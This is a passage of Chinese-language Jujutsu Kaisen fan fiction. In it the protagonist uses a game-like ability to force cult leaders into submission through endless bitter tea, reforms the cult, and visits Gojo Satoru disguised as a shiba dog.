此刻,这副戏谑似的神情近乎与五条悟平日面对不自量力的敌人那时一致,像是被无意识间传染的某种习惯。 紧接着,他重新将话筒递到嘴边。 “开始喝吧。” ——这句命令的语句通过音响的放大,瞬间传遍整间礼拜堂,甚至产生了些许交叠的回音。 台下坐着的众人,皆目露疑惑。 “……喝?” 而在此刻,忽然从某处传来轻微的一声清脆而空灵的敲击音。 似乎是竹制的惊鹿敲击在石头上的声音? 众人面面相觑,不明白此处哪里来的传统日式庭院。 但在下一秒,有数位白袍的教众自旁门鱼贯而入,一手拎着茶壶,一手执着茶杯,将后者添满滚烫的热茶,又轻轻摆在每个人的桌前。? 这个问号仍浮现在众人心底,身体却已经自动将那杯热茶举起,凑到嘴边,使劲一饮…… “烫烫烫烫,烫死我了!!” “好苦,这是什么劣质的茶叶!” “呸呸呸呸,连茶沫都不撇干净吗,谁泡的这茶,零分!” 此起彼伏的抱怨瞬间响起在这间礼拜堂内,比一周目那群吃烂饭的加茂家族人反应还大。 羽取一真不为所动,仅看了眼界面。 【品茶:招待上流人士的不二之选,为宾客呈现一场优雅到极致的茶道艺术,便是一场茶与禅、宾客与主人的心灵交融——无论如何,这都提升个人气质与社交礼仪的最佳途径。 您可以选择: —>1金/人:粗劣的苦茶,用热水草率冲泡碎茶渣的结果,比刷锅水的味道稍微好上一点。大概。 —>10金/人:普通的淡茶,大多数人喝不出差异的速溶抹茶,或许能略带些许的余香。 —>100金/人:精细的浓茶,来自茶道大师的抹茶手艺,灵巧碾磨的每一片天然茶叶都将令品茶人如亲临赏花观月,使人不觉痴迷。】 拥有节约美德的羽取一真,毫不迟疑地选择了1金/人。 这也是众人此刻抱怨连天的缘由。 他们各个位高权重,曾几何时喝过这么难喝的茶!? 不仅茶叶没磨到位,该严格遵循的茶道流程更是一样没有! 这小子是在故意刁难他们吗! 混账! 当有一人放下手中的茶杯时,气得起身就要离场而去时,这场【品茶】就被终止了。 【品茶结束,你的个人气质与社交礼仪增加了!】 羽取一真对这套流程堪称烂熟于心,意念一动就是【品茶】重新开始。 “别着急走,开始喝吧。” 铛—— 又是一记流水竹筒轻嗑在石头上的空灵回响。 于是,原本想走的人条件反射坐了回去,跟随在场众人一起,再度端起那杯被添满的、热腾腾的粗茶。 “烫烫烫!!” “呸呸呸!!” 哪怕被强迫喝上一口,就能把所有人都烫得险些原地起飞。 这到底是何等诡异的招数,为什么他们会如此心甘情愿地喝这种劣质的烫茶水! 立刻就有人把茶杯放下,想要起身质问—— “开始喝吧。” 又一声惊鹿敲击的回响。 又一声。 又一声。 …… 在不知道多少轮之后,打个嗝都会从嗓子眼里反涌上苦水的人,急着想上厕所解决内急的人,盯着面前这杯又被添满的、热气腾腾的刷锅水,逐渐目露惊恐。 不要、不要再来了啊…!! 第143章 【品茶结束, 你的个人气质与社交礼仪增加了!】 【当前职位:盘星教圣子。】 【当前支配度:89%。】 在这间宽敞的礼拜堂里,头顶的白炽灯光依旧明亮,但已无人再敢发出哪怕半个音节。 所有人都在小声的、努力的吸着凉气, 用被烫到发麻的舌尖去舔已经被烫掉一层皮的上颚。 有些耐热能力差些的, 往后几天大概都会满嘴燎泡,讲话吃饭都龇牙咧嘴。 当然,烫嘴还不是最严重的问题。 由于他们在圣子未知手段的强迫下,不停歇地在喝苦茶——保守估计已经喝了三十多杯——就算一杯只喝一口就重新开始,他们的胃容量也受不了这么多的水杯灌进肚子里啊! 于是,当坐在礼拜堂的时间被延长到一个小时后、两个小时后, 终于有人开始坐不住了。 好想上厕所、好想上厕所、好想上厕所…… 他们想起身离席而去,却被不知名的力量一次又一次的按在座位上, 依旧只能不停歇地继续往肚子里倒茶。 为了某些中年人那份特有的好面子, 他们又不好举手给尚未成年的圣子大人打报告, 当着所有人的面说他们想去上厕所…… 丢人, 太丢人了! ……可要是没憋住,那可就是突破心理极限的丢人了!! 他们憋得满脸通红, 只能在心底发出无声呐喊。 救命啊,能不能先放过他们啊! 圣子大人到底想要他们做什么,能不能直说啊! 无论要钱还是要权都给他好了,他们只想离开这个恐怖的喝茶地狱……! 此时此刻, 当新的那杯刷锅茶又一次被放在他们面前时, 终于有人彻底坐不住了。 哪怕在这里朝一位比他至少小三十岁以上的少年低头,也比等会憋不住导致自己被一直嘲笑到进坟墓的强。 他颤颤巍巍举起手, 让全场——包括圣子大人的目光也同样朝这边望来。 “请问……圣子大人,” 这位分会的代表理事开口,感觉都已经憋出了飘忽的颤音。也有可能是茶水太烫嘴的缘故。 “这个茶, 到底要我们喝到什么程度才肯终止……” 倘若说教祖大人对于盘星教的支配手段是深居幕后,从不露面,除去关键时刻的简短指令外,在绝大多时候都放任自流——在场百分之九十九的人,可能都从未与教祖有过直接交流。 那么,这位圣子大人就是用最简单粗暴的方式,效率高到仅用一个下午就让众人对他低下头颅,并彻底领悟到—— 他可不是善茬。 他是“那边”的人。 听到这句众人最关心的问题,刹那间全场都变得静悄悄的,连吸凉气的动静都消失了。 早已内急的所有人都屏息凝气,迫不及待听到圣子大人的回答。 不管他想要什么,先给就是了! 在全场瞩目中,站在讲台上的羽取一真仍然面无表情,对着话筒淡淡出声。 “你们,”他说道,“还有人在心底不服我。” “只要还有人反对我宣布的内容,这杯茶,一直喝到明天也不会停。” 明天!?这谁忍得住啊!! 整个会场齐刷刷倒抽一口凉气,发出小声的哗然动静。 羽取一真说完这句话,还没有选择开始新一轮的【品茶】,就见有个人愤然拍桌。 “三村,是不是你!”他怒斥道,“我看你眼睛鬼鬼祟祟的,肯定还对圣子大人心有不满!” 另一个人也立刻怒斥同坐一张桌的同僚。 “黑山!你要是敢再对圣子大人口出妄言,别怪我对你不客气!” “中津!对我们盘星教的圣子大人放尊重点!” “本川!” “天井!” “宫代!” “……” 在羽取一真端上由系统精心准备的茶水前,他发现底下这帮人可比上周目的加茂长老们沉不住气多了,已经开始互相指责对方的不忠,且从轻微口角程度迅速上升至人身攻击。 毕竟不是一个家族出来的啊,没有血缘关系。 羽取一真在心底轻轻摇头,黑瞳扫了眼没有关上的游戏窗口。 【当前支配度:95%。】 可以,再多吵会也不错。 羽取一真深刻吸取上周目支配加茂家的教训,不刷到100%绝不停手。 什么80%就够了,那不还有20%的人反对他吗? 不,他这次要搞,就得搞绝对的一言堂。 羽取一真有点站累了,转头示意边上的酒见绫子给他搬一张椅子来坐。 酒见绫子正目瞪口呆看着底下这帮往日呼风唤雨的领导,竟然会在这间礼拜堂里吵得面红耳赤、不可开交——听到羽取一真喊她都没回过神来,愣了片刻才赶紧去给他搬椅子。 不可思议,莫非这就是羽取一真的术式吗,属于那个咒术界的超自然能力? 她光是看见这些属于盘星教领导层的负责人们竟然一杯接一杯的乖乖喝茶,大脑就震惊到现在还没完全清醒呢! 在感叹的同时,酒见绫子的心底悄悄升起莫大的庆幸。 还好、还好她不用喝这烂茶…… “吵完了吗?” 羽取一真坐在椅子上,等着这间礼拜堂的人互相骂完一轮,才举着话筒再度开口道。 这道平静到近乎淡漠的声音不急不缓,自布置在四面的音响传出,把所有人都吓得一个激灵,整个空间的气氛顿时又被压得死寂无比,好似听见了魔鬼在说话。 “吵完了就继续喝吧。” 在“喝”这个单词从羽取一真嘴里吐出的那一刻,台下众人全都闻之悚然色变—— 不、不要再喝了啊!!! 当众人心底的那根弦已被身体与心灵的重担压得逐渐绷紧时,这杯尚未端上来的茶,就是令这根弦彻底崩断的最后一根稻草。 【当前支配度:100%。】 哦? 羽取一真挑了下眉梢,还挺惊讶这一句话就能涨5%的支配度。 他还没开始选【品茶】呢。 也好,能省一点金币是一点。 “很好,感谢大家都愿意支持我。” 羽取一真站起身,终于在无数双苦苦期盼的眼神中,说出了他们最想听到的内容。 “关于盘星教今后的发展方向,酒见会陆续传达给各位。” “大家可以走了。” ——!! 啊啊啊感谢圣子大人,他们终于可以解脱了! 转眼之间,整个礼拜堂都跑没了人影。 隐约还能听见“我比你地位高,我先去!”之类的争执。 总而言之,这帮管理层已经被他搞定了。 羽取一真轻轻耸了下肩膀,将话筒交还给近乎震惊到麻木的酒见绫子。 “记得安排人打扫下卫生,”他说,“或许有已经憋不住了的呢。” “………” 酒见绫子脑袋一格一格地,缓慢转向羽取一真,整张脸上都写满了敬佩与无语。 “你到底是怎么做到的?”她难以置信道,“就这样……这样就成功了?” “有什么不成功的,之后有谁敢不服,就请过来继续喝茶,喝到同意为止。” 羽取一真无所谓道,“不想喝茶,我还有饭可以招待。” “他若是不愿意上门,等我亲自过去,就不止是喝茶吃饭了。” 他的[业双]同样相当亲切和善,可以免费帮他们正一下骨头。 “………” 酒见绫子倒吸口气,没想到羽取一真看着不过是个气场冷漠的半大小子,动起手来竟是如此凶残。 就连恶魔都做不到这种程度吧,谈笑间就请人连喝几十杯热腾腾的刷锅水! 见羽取一真准备离开礼拜堂,她连忙跟上。 走着走着,酒见绫子的脑海中,灵光一闪。 “你还不会,”她迟疑出声,“也这么对待过咒术界的那些人,就是,你给我的名单……” 否则,酒见绫子很难想象他是怎么做到一口气得罪六七十个老头。 话刚出口,她顿时心里一紧,生怕自己也被送上品茶席位。 羽取一真脚步同样放缓些许。 “嗯……” 他的声音自前方响起,传入酒见绫子耳中。 “比这个还要再粗暴一些……吧。” 只是补充点水分而已,哪比得上牙都被烂饭硌掉几颗,以及真正被他一枪送走的那些老头呢。 酒见绫子:“……” 酒见绫子“!!!” ……… 作为支配程度达到100%的圣子大人,羽取一真很快就拿到了盘星教的经营策略。 简单概括:传教拉拢新教徒——从教徒那里收取钱财供奉——钱财进行商业与政治的投资及宣传——吸引更多教徒。 如此气派又恢弘的建筑,就是依靠这种简单且粗暴的敛财手段盖起来的。 这种宗教团体会在政府那边畅行无阻,自然也是花了一大笔政治献金进行打点。 那些能够避税的宗教法人,同样赚得盆满钵满——园田茂甚至拥有专属的私人飞机。 总之在这种种环节中,最不被盘星教考虑在内的,就是被狠狠榨干资产的教众死活。 其中倒有些相当富裕的金主,但那笔钱与其说是供奉,不如说是来投资、运营盘星教,从中获得相应的好处。 “嗯,我大概理解了。” 羽取一真放下手中的哪叠报告。 “总之,先抓一波违法的家伙,丢监狱里去吧。” 酒见绫子一愣,没想到羽取一真上任没几天就要求在教内展开清算活动。 “欸,啊?这些都是宗教团体的正常经营行为……” “也有钻规矩空子的恶棍。无底线强迫教众上交钱财的、和商人政客勾搭侵占教内资产的、趁机对教众实施侵犯的……” 羽取一真一口气点出好几种,语气冰冷,“这些都抓起来,我不需要。” 酒见绫子下意识回道,“但其中有些还是之前请喝过茶的……” “那就再选拔上来一批。倘若不服我,可以请过来再喝一次茶。” 酒见绫子:……这位恐怖的阎王少爷啊,现在谁敢来见你。 不过,她也早就看不惯这些渣滓了,羽取一真愿意花费大力气清理掉,她还挺乐意的。 “我知道了,会安排下去的。” 她叹口气,收起桌上这摞沉甸甸的资料,“你是打算让盘星教转型吗?” 羽取一真“嗯”了声,耐心给这位还挺好用的助理解释道。 “咒术界很快就会对盘星教发难。但他们不能直接动用咒术来剿灭非术师集团,只能通过普通社会的常规手段。” “因此,我们必须要先内部清理一遍,让他们抓不到把柄,无计可施。” 酒见绫子这才想起他们之前干过的大事,捂着嘴连连点头——随即,她又不放心问道。 “那你呢,你是术师吧?…会被他们派人追杀吗?” ——对于这个问题,羽取一真仅是扬起嘴角,罕见露出了一个冰冷的、轻蔑的笑意。 “何止,我还要反过来追杀他们。” 反正都当上诅咒师了,那些一周目对悟不敬的高层们,这次一个也逃不掉。 第144章 当然, 想要对付那群高层,得有个名头。 毕竟他整顿盘星教还能称得上有理有据,但倘若他毫无道理的直接杀进总监部或者御三家, 来一个七进七出、血流成河……那就真的和杀人狂魔没什么区别了。 听起来确实很爽, 也是他玩无双或肉鸽类游戏一贯的套路,可是悟未必会对此感到高兴。 嗯…没关系,他可以先抓紧时间让盘星教给他赚金币,然后反过来在咒术界那边也安插点人,只要逮到高层们想要阴谋悟的小辫子,他就能顺理成章的动手。 所幸基于刷锅茶的威力, 那些被内部清洗的领导层极其部下,没有一个敢抵抗的。 其中有些被带走的人还龇牙咧嘴的, 满嘴都是没有消完的燎泡。 酒见绫子找的借口也相当大义。 ——你愿意为了盘星教牺牲吗? 愿意是吧, 好, 报警带走。 不愿意?你不应该是盘星教最虔诚的信徒吗?真是看错你了, 原来你根本不配成为盘星教的一份子,报警带走。 这招一出, 整个盘星教的领导层顿时人人自危,生怕大义的巨锤砸在自己的脑袋上。 他们太心虚了。 身居高位,或多或少都干过一点亏心事——只是影响恶劣与否的差别。 羽取一真也没有一口气把人全部抓完,只先将有明确证据的人都送进监狱里去, 顺便给盘星教博个好名声。 至于那些小偷小摸的, 恰好踩在法律灰色地带的,羽取一真都先留下来了。 得有人给他干活。 不过, 他们这些漏网之鱼很快都会后悔自己还不如住进监狱里去——至少监狱亲切又体贴,还会关怀他们的身心健康,堪比住进单间养老。 等人抓完一波后, 羽取一真顺势向教众推出新的发展方向。 有想要退出盘星教的,之前供奉的钱财都会一分不少的还给他们。 不退出盘星教的,统一签订合法正规的劳动合同,安排高于市场行情的薪资待遇。 愿意将自己贪敛的财物全部吐出来的,他也会网开一面。 这些都不需要羽取一真亲自去做,身为圣子的他只需要待在【星之子之家】那间最豪华的、类似于办公室的参殿里下达指令,自有人会去执行。 等这些基础改革差不多完成后,羽取一真又让酒见绫子通知那些被留下的领导层过来,他要开会。 收到消息的人纷纷大惊失色,感觉嘴里泛苦、口腔起泡、腿肚子都开始打颤。 乃至在心理上,都立刻产生了[必须得去厕所]的条件反射。 但他们不敢不来。 因为还有一些人,已经想来都来不了了。 他们如今都听话得不能再听话了,应该不会再被请去喝茶……吧? 很快,这些人就发现—— 这位恐怖的圣子大人,还不如请他们喝茶。 “我决定将今后的盘星教发展方向定为非营利性业务(宗教)与养殖(农业)。” 羽取一真放下手中的文件,对底下这群安分如鹌鹑的管理层宣布道。 这些人立刻附和圣子大人高见,实在英明,连半个反对意见也没有。 这其中固然有刷锅茶的鼎力协助,但从另一方面而言,他们也确实赞成这个发展方案。 以前那些来钱快的敛财手段不能用了,自然得找个能赚钱的新方向。 盘星教自身作为合法的宗教团体,进行一些宗教方面的经营时能够完全免税,是个正统且主流的选择。 至于养殖这门生意,虽然有农业协会这个巨无霸在间接性的搞垄断,打压反对他们的农户;但盘星教内同样有人脉去疏通这层关系,至少不可能剥削到他们头上。 一旦没有农业协会从中作梗,养殖就变成相当赚钱的行当了。 想想未来还有的钱赚,这些人的表情纷纷轻松不少,甚至可以互相微笑颔首,庆祝自己保住了位置。 羽取一真等他们高兴完,才继续说道。 “盘星教拥有的土地与人手都不少,我们可以很好的将它利用起来。” 此时此刻,那双往日总是显得淡漠的黑瞳,在看向这些四十岁上下的中年人时,充斥着和善又关切的味道。 被这种诡异的目光盯着,所有人的笑脸都是一僵。 “登殿参拜、售卖绘马与御神签、举行法事、出租殿内空房给香客……这些维持盘星教正常运转的事情,交给普通教徒去做就足够了。” 羽取一真的语速不紧不慢,却带给众人一种铡刀缓慢落在脖颈上的难言恐怖。 “因此,养殖的部分就交给你们来亲自完成。先定在每天工作16个小时吧,我们毕竟刚起步,不能减少产量。大家觉得如何?还能体验劳作的快乐。” 在场众人张大嘴:“………” 什么,竟然是要他们亲自去种菜养鸡!? 这个可怕的阎王少爷甚至还在冲他们露出微笑!! “等下,这个16个小时未免有点、有点辛苦……” 在大家互相用眼神疯狂互相示意的过程中,终于推举出一位代表替他们发言,小心翼翼地举起手。 所有人:“…………” 搞屁啊这人,工作16个小时是重点吗??他们是最好连地也别下! “有点什么?辛苦?” 羽取一真轻描淡写道,压根不认为安排16小时/天有什么不对。 “你们就是得趁年轻的时候多吃一点苦,将来老了才会习惯吃苦。” 省得等他们年纪大一点——像上周目那些加茂家的老头——每天没种多少菜就开始扶着腰唉哟唉哟叫唤,成天手抖搬不动腿软走不远的,耽误他赚金币。 “……啊?” 平均年龄高达四十岁的众人,愣愣望着羽取一真。 这不是他们往常教训后辈的台词吗! 但羽取一真没有再给他们申辩的机会。 这里是他的一言堂,喊这些人过来只是通知一声,不是为了听他们在这里抱怨。 “就这么定了。如果有人不愿意,我可以留他下来,喝两杯茶再走。” 此话一出,众人纷纷小鸡啄米式点头。 “愿意愿意。” “我没意见,哪可能有意见嘛,一切全凭圣子大人安排。” “种几块菜地、养几只鸡嘛,我小时候也干过的,哈哈,哈哈哈。” “哪有什么不愿意的,都是三村那小子不懂事,胡乱发言罢了。” 目送这帮人拉着巨长的苦瓜脸离开参殿,酒见绫子看向羽取一真,脸上已写满麻木。 让领导层去一天16个小时的种地,普通教众反而干点轻松的活,她还是头一次听说这么安排人事的…… “怎么了,你也想去?” 羽取一真被她盯的时间太长,抬眼间淡淡回了一句,直接换来酒见绫子的疯狂摇头。 “他们喝了我那么多杯茶,自然得连本带利还我。” 那可是好几百金币。 酒见绫子逐渐恍然,“原来是这样!” 酒见绫子搞不明白羽取一真请客的那几杯破茶能值多少钱,自动将它替换成——他们以前手脚不干净,拿了盘星教那么多东西,现在自然得通过劳改来抵罪。 难怪经过这么一番折腾,圣子大人的地位与声望反而在普通教徒那边瞬间暴涨…! 等重大仪式活动时,他只要肯出面——哪怕仅是端坐在席上,也能体会到信徒的热情…… 嗯,等等。 酒见绫子忽然发现,羽取一真如今穿的衣服太过普通,完全不是圣子应有的待遇。 “你要不……换一身装束?”她出声劝道,“庄重些的,最好和宗教有点关系,这也能衬托你如今的身份。” 至少不能穿这些普通教众才会穿的制服。 听到这句话,羽取一真幽幽瞥她一眼,将酒见绫子看得顿时就有点忐忑。 “……我的衣服还在高专宿舍,没来得及拿回来。” 这句话说出口,多少带着点委屈的成分在里面。 那些可都是悟买给他的衣服! 酒见绫子:“……” 就是那些超级昂贵的便服吗,她甚至都感觉到有点心痛。 “至于衣服,后续再说吧。” 羽取一真摇摇头,简单的闲聊就此结束,酒见绫子要继续去推进接下来的事务。 ——不过,她确实提醒了一点。 他得想个办法,将那些悟给他买的衣服带回来。 更重要的是,此刻的他已经非常想念悟。 直接约人出来在某个地方碰面吗?风险有点高,一旦被人发现,咒术界会将悟也定罪为他的同谋。 用[八相轮卡]换个样貌去见悟? 确实是个好主意,这样一来,即使被人看见也不会有什么问题。 但羽取一真看了眼目前镶嵌的卡槽——黑井美里、天内理子和五条悟。 这三个人肯定不行,他得想想看,顶替谁的身份去见悟最保险。 见羽取一真垂眼思索,酒见绫子放轻脚步来到参殿门口,正推门打算出去—— “汪汪汪汪!” “啊虎丸,不要到处乱跑!” 一道身影窜得飞快,灵活地在走廊与往来人员的脚边穿梭,从每一声叫喊中都能听出它现在超级快乐。 后面的主人穷追不舍,它只当是出来散步时的玩闹,乐颠颠地从酒见绫子那扇打开的门缝里挤了进来,又往里跑了几步,正和羽取一真对上视线。 “………” 羽取一真陷入沉默。 ………… [今天晚上七点,你在宿舍吗?] 下午的实战课程进行到中途,五条悟的手机轻轻一震,收到了这封邮件。 被随机抽到与他进行切磋的七海建人,看着这位刚才还对战斗显得格外兴致缺缺的前辈,在关上手机的下一瞬间变得斗志昂扬。 七海建人:“是有什么好消息吗?” 五条悟:“哼哼没错,最喜欢的那款蒙布朗发来上架通知咯——” 竟然用这么上扬的语调来结尾,看来他是真的超级开心。 不仅七海建人发现了,连带后面和他来说话的夏油杰和家入硝子都能轻松发现异样。 能让五条悟瞬间从枯萎转到开花的消息,除了那位以外,不做他想。 “一真要回来了?” 趁着只有他们三个人,夏油杰小声确认。 “没错,所以你们晚上都不要来打扰我。” 五条悟的苍瞳已经眯成了两弯愉快的月牙,连走路都有点轻飘飘的,柔软的纯白发梢跟着一颤一颤。 家入硝子虚起眼:“欸——狡猾,只准你自己见。” 五条悟得意哼哼:“那是一真在履行对我的承诺。” 夏油杰:“但他有说要怎么进来高专吗?伪装成谁的身份呢?虽然他的那张卡牌咒具可以连咒力气息都模拟成他人的,但普通人身上也有咒力,高专结界照样会报警。” 家入硝子:“一真自身的咒力也已经被重点标记了啊……用悟的?” 毕竟五条悟还是高专的学生,可以自由进入高专而不会激发报警。 “哇,两个我在照镜子吗?听起来真不错啊,超有意思!” 五条悟一敲掌心,那双苍瞳格外亮晶晶的,写满了期待。 而当他待在特意给他留了道门缝的宿舍里,耐心等到晚上七点,预备看见另一个[自己]推门而入时—— 吱呀。 轴承发出轻而短促的一声响动,令五条悟心里的这份期待立刻拉到了满值。 但随之倒映在那双苍瞳里的,并非是[他]握住把手,彻底将门推开。 而是一只毛茸茸的黑豆柴脑袋,努力将那道门缝顶得更开一些,好让它能将整个身体都挤进这间宿舍里,与五条悟对视。 五条悟盯着这只格外可爱的黑豆柴。 五条悟的苍瞳瞪得溜圆。 五条悟倒吸一口气,整张脸上都写满了被巨大惊喜击中的出乎意料。 “可恶,敌人太过狡猾——竟然想出了用这招来俘获我的心!” 第145章 五条悟也不想显得太没有定力。 但是, 这可是一真变的小狗狗耶! 还是他之前认为跟对方堪称灵魂绝配的超——可爱黑豆柴呢! 不是他不坚定,而是敌人太狡猾啦! 五条悟试图绷紧表情,但下一秒就在这只毛茸茸黑豆柴的凝视下瞬间破功。 “哎嘿, 过来过来——” 他手掌朝这只歪着脑袋看过来的黑豆柴一摊, 甚至发出“嘬嘬”声,仿佛人类在面对可爱猫猫狗狗时会作出的本能反应。 看着悟这副真把他当黑豆柴来哄的羽取一真:“…………” 算了……悟都笑得这么可爱了。 羽取一真控制着好不容易用熟练一点的四肢,来到五条悟的身前——然后被他一把捞着肚皮就抱起,举高,整张脸都幸福埋了进去。 “……!!” 这只黑豆柴的体温,在迅速升高。 有点想解除[八相轮卡]的技能效果…… “不能解除噢, 高专结界已经标记了你的咒力,一解除就会立刻报警。” 五条悟似乎猜中了羽取一真的想法, 立刻抢先一步对他说道——全程都没有将脑袋从那堆又温暖又柔软的绒毛里抬起来, 声音显得有点闷。 羽取一真:“…………” 欸, 莫非他得一直维持黑豆柴的外貌直到离开高专为止吗? 那他还怎么跟悟亲近? 而且, 他现在只能说狗语啊! 羽取一真有点凌乱。 早知道还不如把悟约出高专,他再用黑豆柴的样貌给对方一个惊喜——而不是直接来高专送惊喜, 害他没办法变回原样。 感觉到手底下这只黑豆柴在听这句提醒后都僵硬了,五条悟更是笑得坏坏。 “哎呀呀,是谁家没有人要的小狗跑到我这里来啦?” 五条悟双手卡在黑豆柴的腋窝下方,将他高高举起在眼前。 好似真是他在无意中捡到了一只无家可归的小狗狗。 完全没办法回嘴的羽取一真:“………” “那我就勉为其难的帮忙养两天咯——” 对视着那双哑然中透出一点失笑的真·狗狗眼, 五条悟已经笑得完全收不住了, 还要装模作样的咳两声。 “先来取个名字好了,就叫你, 嗯……都都丸?真丸?就决定是真丸了怎么样?喜欢就来叫一声嘛。” 羽取一真:“………” 唉,悟想喊他真丸的话也没办法。 即使面部都被柔软又细密的毛毛覆盖,五条悟还是轻而易举从这张有着超可爱豆眉的狗狗脸上看出了无奈兼纵容的表情。 但要让他发出声音……羽取一真还是需要给自己做一点心理建设, 才微微开口。 “嗷呜……” 声音很小,近似于幼兽的低声呜咽,但足以令五条悟唰一下把这只黑豆柴搂在怀里,使劲蹭脸。 可爱,会为了他这么做的一真实在可爱得让人受不了! 羽取一真被勒得感觉快断气,用前爪努力拍拍五条悟的胳膊,让他松开一些。 但与此同时,犬类太过灵敏的嗅觉使羽取一真能够轻而易举闻到来自五条悟身上的,一种浅淡的好闻气味。 比起气味,或许它更接近于某种朦胧的、柔软的温度,好似一层月光下的薄纱,轻盈又令人沉醉,将他整个人都细密包裹着,化作阳光下温暖的晨雾。 羽取一真有些恍神,忽然觉得不能从解除黑豆柴拟态这件事……也没什么不好。 “怎么突然决定过来,盘星教那边的事情处理完了?” 五条悟终于松开羽取一真,认真看着他。 视角变幻之后,那双漂亮的苍蓝在羽取一真眼中放大,极为明亮,几乎占据了他的全部视野。 是属于夏季的高远晴空,有浮云点缀在那片浮动着粼光的湛蓝里,在每一次转眸间,都好似神明自顶端俯瞰众生,却愿意为他停驻一眼。 短暂分别又见面,此刻的羽取一真才真正体会到正在心底掀起的那阵滔天激浪。 咬字发音时唇瓣柔软的开合,贴近胸膛时清晰无比的心跳,附身紧贴时温热的吐息,对方的一举一动,都在让他整个人无可抵御地沉沦下去。 却又升起甜蜜的、喜悦的情绪。 啊啊,原来这就是恋爱吗? 羽取一真恍惚想道。 他好像终于明白,为什么千代会说真正喜欢的人是瞒不住的,因为看见对方时不自觉就会变得格外开心,连思维都好似被拌进了黏糊糊的蜂蜜糖浆,连呼吸间也充斥着甜蜜的香气。 “………” 五条悟奇怪看着这只没有吭声的黑豆柴半晌,头顶灯泡一亮。 哎呀,忘记一真只能汪汪呜呜了,他现在说不了人话啦! 这也难不倒聪明小悟,他一手抱着体型不大的黑豆柴,另一只手在桌上的书架里摸索了会,抽出其中一本还能写的草稿本。 它是A4开的,由于五条悟已经使用了大半,前半部分的纸张与纸张之间明显有了些空隙,在他哗啦啦的翻动中隐约能瞥见极为复杂的各种公式计算,填满了每一处空白。 类似这样的草稿本还有许多,在他的书架上整整齐齐码了一排,是五条悟努力了无数个日夜的心血证明。 而此刻,他将这本草稿摊开到空白的一页,将平假名全部写在上面。 相当于手动绘制出了一份只需要狗爪爪拍几下、他就能拼出单词的通灵板。 在写平假名的过程中,五条悟抱着真丸的手也不老实,总是喜欢去捏他的肉垫,再揉揉脑袋。 这种体验实在太过罕见,羽取一真很确信如果此刻的他是人身,早就已经烫成一颗热汤圆了。 虽说此刻,他的内心也平静不到哪里去。 “来——” 五条悟画完了通灵板,将它摊开在羽取一真面前。 “用回答看看?” 羽取一真盯着这张纸愣住,发现他完全不记得悟刚才问了什么问题。 “………” 过了片刻,五条悟看着坐在他怀里的这只真丸仰起脑袋,用眼巴巴的视线望过来,露出迷茫加求助的目光。 五条悟,血条瞬间归零。 这就是黑豆柴的魅力吗,可恶,难道因为这是一真变的,所以对他有额外伤害加成…! 五条悟一瞬间就将毛绒绒、软绵绵的真丸勒得喘不过来气,感觉整个身体都会被对方挤扁。 明明用正常视角看悟时,还感觉他的身体是属于比较瘦削且轻盈的少年体型……怎么会这么有劲…… 羽取一真挣扎几下无果,只好再度使用肉垫拍击。 五条悟才终于依依不舍的再次松开他。 “是在问盘星教那边怎么样了喔。” 这次终于能回答了,羽取一真坐在桌面上,用前爪挨个拍平假名的方式回答他。 [还不错,他们都只能听我的。] [事情都安排下去了,来找你也没问题。] 五条悟一字一句念出声来,坏笑着使劲揉搓了把真丸的脑袋,夸他——“Good boy!” 羽取一真默默虚起眼:“………” 这是悟在故意用这种更常见于夸狗狗的单词来夸他啊…… 大概是狗狗无语的表情太好笑了,五条悟那副一本正经的架势没有撑住多久便立刻破功,挨着羽取一真蹭蹭脸时的表情格外灿烂。 “能在这里待多久?” 羽取一真看了眼卡槽上的倒计时。 [如果是指狗狗拟态,两天。] “两天啊……” 五条悟沉吟片刻,当即敲定。 “舍不得放你一个人,不对,一只黑豆柴在宿舍等我啦,我直接翘课和你出高专。” 翘课??会被夜蛾老师施予指导之拳的吧? 羽取一真没忍住漏出一声“嗷?”,把五条悟可爱得又是一通揉搓,晕乎乎到险些从桌上栽下去。 “因为,” 五条悟小臂交叠在桌面,下巴枕着,歪过头望向羽取一真——那双瑰丽的、璀璨的雾蓝苍瞳,在此刻仅为他睁开。 带着柔软的、亲昵的笑意。 “我也很想念你啊。” 第146章 羽取一真被这份又甜又软的感情击中了。 他迫切的想说点什么, 又没办法开口。 于是,他抬起一只手——前爪——用肉垫轻轻按在五条悟的脸上。 五条悟:“………” 接收到一真回应的五条悟睁大眼睛,立刻又把这只超级可爱的黑豆柴捞在怀里又贴又蹭! “可爱哦, 真丸——” 哎呀呀, 这小子是人身时还只觉得呆萌,怎么变成黑豆柴之后,连带他的自控能力也跟着清零了呢! “………” 羽取一真挣扎不能,彻底放弃抵抗。 后续还被五条悟举起手机,咔嚓咔嚓的拍了超多合照。 “嘿嘿,这种珍贵场景, 必须保存下来。” 都已经被悟上下其手了遍,顶着超高体温的羽取一真还有什么不同意的, 要是现在把他放地上, 搞不好已经晕乎到小狗原地转圈圈。 高专提供的单人宿舍床并不宽, 比放在教师宿舍里的床铺要窄上些许。 倘若仅躺下一位正值发育期、身体开始抽条的少年, 绰绰有余;若是两个人想要并排躺着,则会显得格外拥挤。 幸好现在要和五条悟睡觉的, 是黑豆柴“真丸”。 五条悟用毛巾给真丸擦了擦爪爪,将他放在床上,自己则去洗澡。 隐约还能听见他在哼着熟悉的旋律,每一个音节都仿佛被轻轻敲击的漂亮贝壳, 正是之前和羽取一真合唱过的《FIND》高潮部分。 羽取一真望着五条悟的背影, 眼底也泛起愉快的欣然笑意。 那颗金子般的心,此刻正在他的面前、在他的视野内璀璨无比, 熠熠生辉。 浑身洋溢着粉红泡泡的羽取一真并没有自觉——如今的他与进游戏前的他,同样已天差地别。 当然,现在最让他扼腕的是不能终止[八相轮卡]的发动。 本以为这只是一个能完美躲过结界与人员安防、方便他偷溜进高专的伪装技能。 没曾想黑豆柴形态竟然是直到出高专之前都不能解除, 可恶。 ——然而,当洗完澡后浑身带着浅淡水汽的悟放松倒在床上,顺手将他揽在怀里时,羽取一真又觉得这样也没什么不好。 “本来以为能和你打一晚上游戏……现在看来,我们还是先睡觉咯,明天早起出门。” 五条悟伸手关上床头的灯,伴随黑暗里传来几声轻而低的笑,很明显是在揶揄“真丸”。 目前是初夏的季节,夜间气温也逐步升高,让白发苍瞳的少年仅穿着件单薄的宽松衬衫便足以感觉舒适。 于是,当他做出几个幅度较大的动作时,那些柔软的、微微湿润的布料便被拉扯,堆叠,不听话的往各处跑去,徒留下线条极好的肌理随呼吸浅浅地舒展又收缩,将那被冷水冲过后有些冰凉、已在逐渐恢复热度的体温一并传递过来。 羽取一真……羽取一真只能一动不动。 